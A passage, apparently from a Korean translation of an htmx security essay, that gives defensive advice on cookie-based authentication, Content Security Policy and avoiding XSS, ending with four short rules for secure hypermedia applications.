JavaScript SPA์—์„œ๋Š” ๋•Œ๋•Œ๋กœ ํ† ํฐ์„ ํด๋ผ์ด์–ธํŠธ์˜ ๋กœ์ปฌ ์Šคํ† ๋ฆฌ์ง€์— ์ €์žฅํ•œ ๋‹ค์Œ ๊ฐ ์š”์ฒญ์˜ Authorization ํ—ค๋”์— ์ถ”๊ฐ€ํ•˜์—ฌ ์ธ์ฆ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ถˆํ–‰ํžˆ๋„ JavaScript๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๊ณ ๋Š” Authorization ํ—ค๋”๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์—†์œผ๋ฉฐ, ์ด๋Š” ์•ˆ์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” JavaScript์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํŽ˜์ด์ง€์— ์‚ฝ์ž…๋  ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๋„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋Œ€์‹ , ์ฟ ํ‚ค(์œ„์—์„œ ์–ธ๊ธ‰ํ•œ ์†์„ฑ ํฌํ•จ)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. ์ฟ ํ‚ค๋Š” JavaScript์— ์ „ํ˜€ ์ ‘๊ทผํ•˜์ง€ ์•Š๊ณ ๋„ ์„ค์ •ํ•˜๊ณ  ๋ณดํ˜ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Authorization ํ—ค๋”๊ฐ€ ์žˆ์ง€๋งŒ ํ•˜์ดํผ๋ฏธ๋””์–ด ์ปจํŠธ๋กค๋กœ ์ด๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์—†๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ผ๊นŒ์š”? ๊ธ€์Ž„์š”, ๊ทธ๊ฒƒ์€ WHATWG์˜ ๋†€๋ผ์šด ๋ˆ„๋ฝ ์ž‘์€ ๋ฏธ์Šคํ„ฐ๋ฆฌ ์ค‘ ํ•˜๋‚˜์ผ ๋ฟ์ž…๋‹ˆ๋‹ค.

๋งŒ์•ฝ ์‚ฌ์šฉ์ž์˜ ํด๋ผ์ด์–ธํŠธ๋ฅผ ์—ฌ๋Ÿฌ๋ถ„์ด ์ œ์–ดํ•˜์ง€ ์•Š๋Š” API๋กœ ์ธ์ฆํ•ด์•ผ ํ•œ๋‹ค๋ฉด, ์ผ๋ฐ˜์ ์ธ ๋น„์‹ ๋ขฐ ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ์ฃผ์˜ ์‚ฌํ•ญ์ด ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.

#๋ณด๋„ˆ์Šค: ์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…

์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP)๋„ ์•Œ๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. CSP๋Š” HTTP ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŽ˜์ด์ง€์—์„œ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š” ์ฝ˜ํ…์ธ ์˜ ์ข…๋ฅ˜์— ๋Œ€ํ•œ ๊ทœ์น™์„ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ํŽ˜์ด์ง€๊ฐ€ ํŠน์ • ๋„๋ฉ”์ธ์—์„œ๋งŒ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋„๋ก ์ œํ•œํ•˜๊ฑฐ๋‚˜, ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด๊ฒƒ์ด โ€œ๊ณจ๋“  ๋ฃฐโ€ ์ค‘ ํ•˜๋‚˜๊ฐ€ ์•„๋‹Œ ์ด์œ ๋Š” ๋ชจ๋“  ๊ณณ์— ๋ณดํŽธ์ ์œผ๋กœ ์ ์šฉํ•˜๊ธฐ ์‰ฝ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. โ€œ๋Œ€๋ถ€๋ถ„์— ์ ํ•ฉํ•œโ€ CSP๋ผ๋Š” ๊ฒƒ์€ ์—†์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ htmx ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉฐ, hx-on ์†์„ฑ์€ ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ‰๊ฐ€ํ•  ์ˆ˜ ์žˆ๋Š” ์ผ๋ฐ˜ํ™”๋œ ์†์„ฑ ๋ฆฌ์Šค๋„ˆ์ž…๋‹ˆ๋‹ค(ํ•„์š”ํ•˜์ง€ ์•Š๋‹ค๋ฉด ๋น„ํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š๊ณ , ๋” ์—„๊ฒฉํ•œ CSP๋ฅผ ์ฑ„ํƒํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชจ๋“  ๊ฒƒ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณด์•ˆ ํ”„๋กœํ•„์— ๋”ฐ๋ผ ๋‹ฌ๋ผ์ง€๋ฉฐ, ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์˜ต์…˜์„ ์•Œ๊ณ  ๊ทธ ๋ถ„์„์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

#์ด๊ฒƒ์ด ํ•œ ๊ฑธ์Œ ๋’ค๋กœ ๊ฐ€๋Š” ๊ฒƒ์ผ๊นŒ์š”?

SPA๋ฅผ ๋งŒ๋“ค ๋•Œ ์ด๋Ÿฌํ•œ ๊ฒƒ๋“ค์„ ๋ชฐ๋ผ๋„ ๋˜์—ˆ๋‹ค๋ฉด, htmx๊ฐ€ ๋ณด์•ˆ ์ธก๋ฉด์—์„œ ํ•œ ๊ฑธ์Œ ๋’ค๋กœ ๊ฐ€๋Š” ๊ฒƒ์ด ์•„๋‹Œ๊ฐ€ ์˜๋ฌธ์ด ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์šฐ๋ฆฌ๋Š” ์ด ์ฃผ์žฅ์˜ ๋‘ ๋ถ€๋ถ„ ๋ชจ๋‘์— ๋Œ€ํ•ด ๋„์ „ํ•˜๊ณ  ์‹ถ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ์‚ฌ๋Š” htmx์˜ ๋ณด์•ˆ ์†์„ฑ์„ ๋ณ€ํ˜ธํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹ˆ์ง€๋งŒ, ํ•˜์ดํผ๋ฏธ๋””์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๊ธฐ๋ณธ์ ์œผ๋กœ JSON ๊ธฐ๋ฐ˜ ํ”„๋ŸฐํŠธ์—”๋“œ๋ณด๋‹ค ํ›จ์”ฌ ๋” ์•ˆ์ „ํ•œ ์—ฌ๋Ÿฌ ์˜์—ญ์ด ์žˆ์Šต๋‹ˆ๋‹ค. HTML API๋Š” ๋ Œ๋”๋ง๋˜์–ด์•ผ ํ•˜๋Š” ์ •๋ณด๋งŒ ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ, JSON ์‘๋‹ต์—์„œ ์˜๋„์น˜ ์•Š์€ ๋ฐ์ดํ„ฐ๊ฐ€ โ€œ์ˆจ๊ฒจ์ ธโ€ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฅผ ์œ ์ถœํ•˜๋Š” ์ผ์ด ํ›จ์”ฌ ๋” ์‰ฝ๊ฒŒ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ดํผ๋ฏธ๋””์–ด API๋Š” ๋˜ํ•œ ํด๋ผ์ด์–ธํŠธ์—์„œ ํ›จ์”ฌ ๋” ๋ณต์žกํ•œ ๋ณด์•ˆ ๋ชจ๋ธ์„ ํ•„์š”๋กœ ํ•˜๋Š” GraphQL๊ณผ ๊ฐ™์€ ์ผ๋ฐ˜ํ™”๋œ ์ฟผ๋ฆฌ ์–ธ์–ด๋ฅผ ๊ตฌํ˜„ํ•˜๋Š” ๋ฐ ์ ํ•ฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๋ชจ๋“  ์ข…๋ฅ˜์˜ ๊ฒฐํ•จ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ๋ณต์žก์„ฑ์— ์ˆจ์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ํ•˜์ดํผ๋ฏธ๋””์–ด ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ๋œ ๋ณต์žกํ•˜๋ฏ€๋กœ ๋ณด์•ˆ์ด ๋” ์‰ฝ์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ, ์›น์— ๋™์  ์ฝ˜ํ…์ธ ๋ฅผ ๋ฐฐํฌํ•˜๋Š” ๊ฒฝ์šฐ XSS ๊ณต๊ฒฉ์— ๋Œ€ํ•ด ์•Œ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. XSS๊ฐ€ ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€ ์ดํ•ดํ•˜์ง€ ๋ชปํ•˜๋Š” ๊ฐœ๋ฐœ์ž๋Š” React์˜ dangerouslySetInnerHTML์ด ์™œ ์œ„ํ—˜ํ•œ์ง€ ์ดํ•ดํ•˜์ง€ ๋ชปํ•  ๊ฒƒ์ด๋ฉฐ, ์‚ฌ์šฉ์ž ์ƒ์„ฑ ํ…์ŠคํŠธ๋ฅผ ๋ Œ๋”๋งํ•ด์•ผ ํ•  ๋•Œ ๋ฐ”๋กœ ์ด ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ์ด๋Ÿฌํ•œ ๋ณด์•ˆ ๊ธฐ๋ณธ ์‚ฌํ•ญ์„ ๊ฐ€๋Šฅํ•œ ํ•œ ์‰ฝ๊ฒŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋„๋ก ํ•ด์•ผ ํ•˜๋ฉฐ, ๊ฐœ๋ฐœ์ž๋Š” ํ•ญ์ƒ ์ด๋ฅผ ๋ฐฐ์šฐ๊ณ  ์ค€์ˆ˜ํ•ด์•ผ ํ•  ์ฑ…์ž„์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ์‚ฌ๋Š” htmx ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋ณด์•ˆ์ ์œผ๋กœ ์„ฑ๊ณตํ•˜๊ธฐ ์‰ฝ๊ฒŒ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ๊ตฌ์„ฑ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฐ„๋‹จํ•œ ๊ทœ์น™์„ ๋”ฐ๋ฅด๊ธฐ๋งŒ ํ•˜๋ฉด XSS ์ทจ์•ฝ์ ์„ ์ฝ”๋”ฉํ•  ๊ฐ€๋Šฅ์„ฑ์€ ๋งค์šฐ ๋‚ฎ์•„์ง‘๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋ณด์•ˆ์— ๋Œ€ํ•ด ์ „ํ˜€ ๋ฐฐ์šฐ์ง€ ์•Š์œผ๋ ค๋Š” ๊ฐœ๋ฐœ์ž ์†์— ๋“ค์–ด๊ฐ„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์•ˆ์ „ํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ๋ณด์•ˆ์€ ์ •๋ณด์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ์–ดํ•˜๋Š” ๊ฒƒ๊ณผ ๊ด€๋ จ์ด ์žˆ์œผ๋ฉฐ, ์–ด๋–ค ์ •๋ณด์— ๋ˆ„๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์ปดํ“จํ„ฐ์—๊ฒŒ ์„ค๋ช…ํ•˜๋Š” ๊ฒƒ์€ ํ•ญ์ƒ ์ธ๊ฐ„์˜ ์—ญํ• ์ด๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

์•ˆ์ „ํ•œ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ์–ด๋ ต์Šต๋‹ˆ๋‹ค. ๋ผ์šฐํŒ…, ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์ ‘๊ทผ, HTML ํ…œํ”Œ๋ฆฟ, ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง ๋“ฑ๊ณผ ๊ด€๋ จ๋œ ๋งŽ์€ ์‰ฌ์šด ํ•จ์ •๋“ค์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„ ๋ถˆ๊ตฌํ•˜๊ณ , ๋ณด์•ˆ์ด ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค์˜ ์˜์—ญ์—๋งŒ ๊ตญํ•œ๋œ๋‹ค๋ฉด, ์˜ค์ง ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค๋งŒ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŒ๋“ค์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๊ฒƒ์ด ์ •๋ง๋กœ ๊ทธ๋ ‡๊ฒŒ ๋˜์–ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค! ํ•˜์ง€๋งŒ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋“ค๋งŒ์ด ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๋งŒ๋“ ๋‹ค๋ฉด, ๊ทธ๋“ค์€ ๋ถ„๋ช…ํžˆ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ๊ณ  ์žˆ์„ ๊ฒƒ์ด๋ฉฐ, htmx๋„ ๊ทธ๋“ค์—๊ฒŒ๋Š” ์•„๋ฌด๋Ÿฐ ๋ฌธ์ œ๊ฐ€ ๋˜์ง€ ์•Š์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋ชจ๋“  ์‚ฌ๋žŒ๋“ค์—๊ฒŒ:

  1. ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ๋กœ๋ฅผ ํ˜ธ์ถœํ•˜์ง€ ๋งˆ์„ธ์š”.
  2. ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ํ…œํ”Œ๋ฆฟ ์—”์ง„์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  3. ์‚ฌ์šฉ์ž ์ƒ์„ฑ ์ฝ˜ํ…์ธ ๋Š” HTML ํƒœ๊ทธ ์•ˆ์—๋งŒ ๋„ฃ์œผ์„ธ์š”.
  4. ์ฟ ํ‚ค๋ฅผ ์•ˆ์ „ํ•˜๊ฒŒ ์„ค์ •ํ•˜์„ธ์š”.
</>